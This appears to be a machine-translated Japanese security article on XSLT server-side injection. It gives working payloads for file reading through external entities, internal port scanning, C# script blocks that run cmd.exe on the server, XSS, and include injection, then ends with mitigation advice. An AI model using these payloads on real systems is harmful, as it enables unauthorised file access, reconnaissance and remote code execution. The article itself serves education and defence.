XSLT Webの脆弱性:サーバーサイドインジェクション

画像



XSL(Extensible Stylesheet Language)は、XMLドキュメントを変換するための言語です。 XSLTはXSL変換の略です。 XSL変換は、XMLドキュメントそのものです。 変換の結果は、別のXMLドキュメント、またはHTMLドキュメント、CSVファイル、テキストファイルなどの他の何かである可能性があります。 この記事では、XSLTのいくつかの攻撃ベクトルについて説明します。







スタイル言語(XSLT)の脆弱性は、Webアプリケーションに重大な結果をもたらす可能性があり、多くの場合、リモートコード実行(RCE)につながります。 パブリックエクスプロイトを使用したリモートコード実行のXSLT脆弱性の例は、CVE-2012-5357、CVE-2012-1592、CVE-2005-3757です。 上記の例は、XSLTの脆弱性がかなり以前から知られていることを示しており、XMLインジェクションなどの他の類似の脆弱性ほど一般的ではありませんが、非常に深刻なセキュリティリスクをもたらします。







XSLT



XSLTの通常の使用法は、さまざまなアプリケーションによって処理されるファイル形式間で、またテンプレートエンジンとしてデータを変換することです。 多くのビジネスアプリケーションは、XSLTを広範囲に使用しています。 たとえば、いくつかの要素、属性、値を持つXMLドキュメントがありますが、そのためには要素を移動するか、構造を変更する(たとえば、属性を要素にする)か、追加の計算を実行する必要があります。 XSLTプロセッサを使用して、古いドキュメントを新しいビューに変換できます。







このテクノロジーは、多くの場合、次の目的で使用されます。









最新のXSLTプロセッサの機能には大きな欠点があります。適切に構成されていないと、XSLTプロセッサはWebアプリケーションを危険にさらしたり、任意のコードの実行を許可したりできます。







データ変換の例:果物のリストと相対的な説明を含むXMLファイルがあります。







<?xml version="1.0" ?> <fruits> <fruit> <name>Lemon</name> <description>Yellow and sour</description> </fruit> <fruit> <name>Watermelon</name> <description>Round, green outside, red inside</description> </fruit> </fruits>
      
      





XMLドキュメントをテキストファイルに変換するには、次のXSL変換を使用できます。







 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
      
      





その結果、プレーンテキストファイルが取得されます。







 Fruits: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
      
      





XSLTサーバー側インジェクション操作



例では、MicrosoftのSystem.Xml XSLを使用して脆弱なアプリケーションに焦点を当てます。 ただし、Libxslt、Saxon、Xalanなどの他の一般的なライブラリにも同様の方法が適用されます。







最初のステップは、脆弱なアプリケーション設定を識別することです。 最も単純なケースは、任意のXSLTファイルをダウンロードできるアプリケーションです。







プリプロセッサは、適切な検証なしでユーザー入力を使用してXMLドキュメントを動的に生成できます(ここの会社名フィールド):







 <?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
      
      





アプリケーションが脆弱かどうかを判断するには、二重引用符、単一引用符、山括弧など、XMLドキュメントの構文に対して通常無効な文字を入力するだけです。 サーバーがエラーを返した場合、アプリケーションは潜在的に脆弱です。







異なるライブラリには異なるXSLT関数があり、あるライブラリで使用可能な関数は別のライブラリでは使用できない場合があります。 ライブラリ間で互換性のない独自の拡張機能が実装されることがよくあります。 さらに、デフォルト設定は実装ごとに大きく異なります。通常、デフォルトで危険な機能が有効になっている古いライブラリと、必要に応じて開発者が明示的に有効にする必要がある新しいライブラリがあります。







ライブラリプロバイダーの名前は、XSLT v1.0標準の一部である「system-property()」関数を使用して取得できます。







次の変換を使用して、ライブラリの「プロバイダー」を判別できます。







 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet>
      
      





Microsoft .Net System.xmlの実装をテストしているため、戻り値は「Microsoft」です。







 Microsoft
      
      





以下の表は、XSLTプリプロセッサのシステムプロパティ処理を示しています。













任意のファイルとポートスキャンを読み取る



次の例では、外部オブジェクトを使用して、ファイル「C:\ secretfruit.txt」の内容を読み取ります。







 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
      
      





ENTITY要素は、ファイルの内容をext_fileリンクに配置し、ext_file;を使用してメイン文書内に印刷します。 出力には、ファイルの秘密の内容が表示されます(Golden Apple):







 Fruits Golden Apple: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
      
      





この方法を使用すると、通常は攻撃者がアクセスできない内部システムでホストされているWebサーバーおよびWebページにローカルに保存されているファイルを抽出できます。 これらは、資格情報を含む構成ファイルまたは他の機密情報を含むファイルです。 ファイルは、UNCパスを使用して抽出することもできます:\ servername \ share \ fileおよびhttp:// servername / file







IPアドレスとポート番号のリストを使用して、アプリケーションの応答に応じてリモートポートが開いているか閉じているかを判断することもできます。 たとえば、アプリケーションはさまざまなエラーメッセージを表示したり、応答に時間遅延を含めることができます。







次のXSLT変換では、前の例で使用したローカルファイルパスの代わりにURL http://172.16.132.1:25を使用します。







 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
      
      





次のスクリーンショットは、URLに接続しようとしたときに返されるエラーを示しています。







画像







document()関数を使用して、ドキュメントを取得し、ポートスキャンを実行することもできます。







 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
      
      





組み込みブロックを使用したリモートコード実行



組み込みスクリプトブロックは、XSLTドキュメントにコードを直接含めることができるXSLTの独自の拡張機能です。 たとえば、Microsoftの実装では、C#コードが含まれる場合があります。 ドキュメントが解析されると、コードがリモートサーバーによってコンパイルおよび実行されます。







次のXSLTドキュメントには、現在の作業ディレクトリ内のファイルに関する情報が表示されます。







 <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet>
      
      





まず、xsl:stylesheetタグ内に2つの新しいXMLプレフィックスを定義します。 最初の「xmlns:msxsl」は、Microsoft独自の拡張機能を有効にするために必要です。2番目の「xmlns:user」は、「msxsl:script」スクリプトブロックによって実装されるユーザーユーザー拡張機能を宣言します。







C#コードは、コマンド「cmd.exe / c dir」を実行し、コマンドの出力を文字列として返す関数「execute()」を実装します。 最後に、関数は「xsl:value-of」タグ内で呼び出されます。







変換の結果は、dirコマンドの出力です。







 --- BEGIN COMMAND OUTPUT --- Volume in drive C has no label. Volume Serial Number is EC7C-74AD Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole Application\XsltConsoleApplication\bin\Debug 22/02/2017 15:19 <DIR> . 22/02/2017 15:19 <DIR> .. 22/02/2017 13:30 258 data.xml 22/02/2017 14:48 233 external_transform.xslt 22/02/2017 15:15 12 secretfruit.txt 31/01/2017 13:45 154 secretfruit.xml 22/02/2017 15:29 831 transform.xslt 22/02/2017 13:49 7,168 XsltConsoleApplication.exe 26/01/2017 15:42 189 XsltConsoleApplication.exe.config 22/02/2017 13:49 11,776 XsltConsoleApplication.pdb 8 File(s) 20,621 bytes 2 Dir(s) 9,983,107,072 bytes free --- END COMMAND OUTPUT ---
      
      





XSS操作



次の例は、テンプレートタグでのXSSベクトルの活用を示しています。







 <xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”> <xsl:template match=”/”> <script>alert(document.cookie)</script> </xsl:template> </xsl:stylesheet>
      
      





インポート機能



アプリケーションのインポートおよび包含タグを使用して、複数のXSLTドキュメントを結合できます。

インポート機能を使用して、XSLTドキュメントを外部ドキュメントと結合できます。 外部ファイルがロードされると、ドキュメント全体が分析され、攻撃者がそれを制御する場合、外部外部XMLオブジェクトと外部ファイルの埋め込みスクリプトの両方を使用できます。







xsl:importタグはxsl:stylesheetタグの最初の子としてのみ使用できますが、xsl:includeタグは他の位置で使用できます。







 <?xml version=”1.0” encoding=”utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
      
      





「external_transform.xslt」という名前の次の外部XSLTファイルをメッセージに含めます(外部変換からのこんにちは)。







 <?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Hello from the external transformation </xsl:template> </xsl:stylesheet>
      
      





外部ドキュメントを含めるには、次のタグを使用する必要があります。







  <xsl: include href = "external_transform.xslt" />
      
      





ここには1つの機能があります。xsl:includeタグをxsl:テンプレートタグに含めることはできません。 したがって、最初にタグ「xsl:template」を閉じる必要があります。次に、タグ「xsl:include」を追加して、最初の要件を満たします。 整形式のXMLファイルを取得するには、「xsl:include」タグの後に「xsl:template」タグを再度開く必要があります。







 </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
      
      





注入後、結果のXSLTドキュメントは次のようになります。







 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
      
      





推奨事項



アプリケーションでXSLTを使用している場合は、次のガイドラインに従うことでリスクを軽減できます。

可能な限り、ユーザー提供のXSLTドキュメントは避けてください。







信頼できないソース(入力)から渡された値を持つXSLTドキュメントを生成しないでください。 非静的な値が必要な場合は、XMLデータファイルに含まれ、XSLTドキュメントのみを参照する必要があります。







XSLTライブラリによって実装されている潜在的に危険な機能を無効にします。 ライブラリは多くの場合、安全でないデフォルトを使用します。 無効にするライブラリのドキュメントを確認してください。外部XMLオブジェクト。 関数 "document()"; インポートおよび包含タグ。







セキュリティ機能を使用して、送信されたコンテンツをフィルタリングします。







また、デフォルトで使用される潜在的に危険なXSLTプリプロセッサポイントの表を添付します。







画像








All Articles